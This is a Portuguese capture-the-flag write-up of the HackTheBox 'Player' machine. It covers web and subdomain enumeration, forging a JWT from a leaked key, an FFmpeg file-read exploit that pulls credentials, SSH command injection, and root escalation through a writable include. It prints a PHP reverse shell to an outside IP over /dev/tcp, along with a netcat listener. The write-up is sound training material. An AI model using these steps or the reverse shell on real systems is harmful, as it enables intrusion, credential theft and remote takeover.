Continuo publicando soluções enviadas para
processamento adicional no site da
HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, examinaremos o JWT, realizaremos enumerações da Web como a pesquisa de diretórios, subdomínios e arquivos de backup, exploraremos o SSRF no codificador FFmpeg e o RCE no SSH.
A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais
e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Inteligência
Verificação de porta
Esta máquina possui um endereço IP 10.10.10.145, que eu adiciono ao / etc / hosts.
10.10.10.145 player.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

Em seguida, você precisa coletar mais informações sobre portas conhecidas. Para fazer isso, use o nmap com a opção -A.
nmap -A player.htb -p22,80,6686

Assim, o host executa o SSH nas portas 22 e 6686, bem como o servidor da web Apache em 80.
Enumerações da Web
Primeiro de tudo, vá assistir à web. Mas, infelizmente, não há nada de interessante.

Nesse caso, você geralmente precisa verificar os diretórios. Para fazer isso, use um calibre rápido. Nos parâmetros, indicamos que queremos verificar os diretórios (dir), especifique o site (-u), uma lista de palavras (-w), extensões que nos interessam (-x), o número de threads (-t).
gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
A partir desses diretórios, um lançador interessante. Ele diz que este é um serviço de edição de vídeo e precisamos de um email válido.

Tendo brincado um pouco com o formulário, notei que ele envia dados para a página /launcher/dee8dc8a47256c64630d803a4c40786c.php, lá verifica e redireciona de volta.

De tudo o que temos, nada e nada nos dará. O próximo passo na lista é a pesquisa de subdomínios. Recentemente, depois que fui aconselhado a usar o wfuzz, eu o uso e aconselho o mesmo a outras pessoas. Especifique o cabeçalho (-H), dicionário (-w), URL (-u) e exclua o código de resposta 403 (--hc 403).
wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403

Assim, encontramos três subdomínios que também precisam ser adicionados ao / etc / hosts.
10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb
No dev, há apenas um formulário de autorização, no bate-papo apenas bate-papo inútil e na preparação de um formulário para alguns contatos.



Depois de testar um pouco o formulário, tudo o que temos é um redirecionamento para o 501.php e alguns dados com o erro indicado.



Mas, novamente, isso não foi suficiente. Além disso, o que geralmente esqueço, decidi verificar os backups dos arquivos. Portanto, foi descoberto /launcher/dee8dc8a47256c64630d803a4c40786c.php~

Nesse código, o JWT (token) é decodificado e verificado. Dependendo da verificação, ocorre um redirecionamento para uma das páginas. Se o token não for fornecido, nós o receberemos.
Como sabemos a chave e o valor final, podemos codificá-la e obter um token válido. Isso pode ser feito usando este
site .

Temos um token codificado. E substitua-o na solicitação.


Como resultado, nos foi apresentado um formulário de upload de arquivo de mídia. Após o download da imagem, foi-nos oferecido o download do arquivo de mídia no formato AVI.

Ponto de entrada
Como o AVI é criado a partir do nosso arquivo, podemos usar uma exploração que permite ler arquivos. O código pode ser obtido
aqui . Vamos verificar isso e ver o arquivo / etc / passwd.

Vamos verificar isso e ver o arquivo / etc / passwd.
python3 gen_avi.py file:///etc/passwd passwd.avi
Depois de baixar e abrir o arquivo, observamos o arquivo / etc / passwd.

Como podemos ler arquivos, precisamos coletar uma lista daqueles que conhecemos. Recordamos erros no arquivo contact.php. Vamos ler todos os arquivos listados lá.

E não havia nada interessante no arquivo de contato, a correção não pôde ser lida, mas no service_config encontramos o login e a senha.

Vamos tentar fazer login no dev.player.htb com eles - os dados não se encaixam, mas existem mais dois SSHs. A porta 22 é uma falha, mas no 6686 obtemos um shell.

USER
Mas o shell é limitado e lembrei-me da versão 7.2 e decidi verificar as explorações.

Assim, se tivermos credenciais, podemos executar a injeção de comando.


Eles também nos fornecem uma lista de comandos para leitura e gravação de arquivos. Lemos a bandeira do usuário.

ROOT
Agora devemos ter direitos suficientes para ler fix.php

Encontramos dados interessantes que já se encaixam no dev.player.htb. E lá encontramos o projeto.

E esse arquivo é acessível ao acessá-lo a partir do ambiente externo. Ou seja, podemos colocar a concha.

Para fazer isso, abra seu projeto.

Em seguida, crie um arquivo com o seguinte shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?>

Agora abra a sessão usando o netcat.
nc -lvp 4321
Em seguida, passamos ao nosso arquivo.


Após concluir as enumerações e verificar mais algumas opções, paramos no processo de verificação. Graças ao pspy64, você pode determinar que o script buff.php é executado periodicamente com um UID de 0, ou seja, como raiz.

Vamos ver o que o script faz.

Ao tentar adicionar código a esse arquivo, encontramos um problema - não temos direitos.

Mas no script, outro arquivo está incluído, no qual temos o direito de escrever.

Escreveremos o shell já usado por nós nesse arquivo e no netcat estamos aguardando a conexão.

Dessa forma, obtemos o máximo de privilégios.
Você pode se juntar a nós no
Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.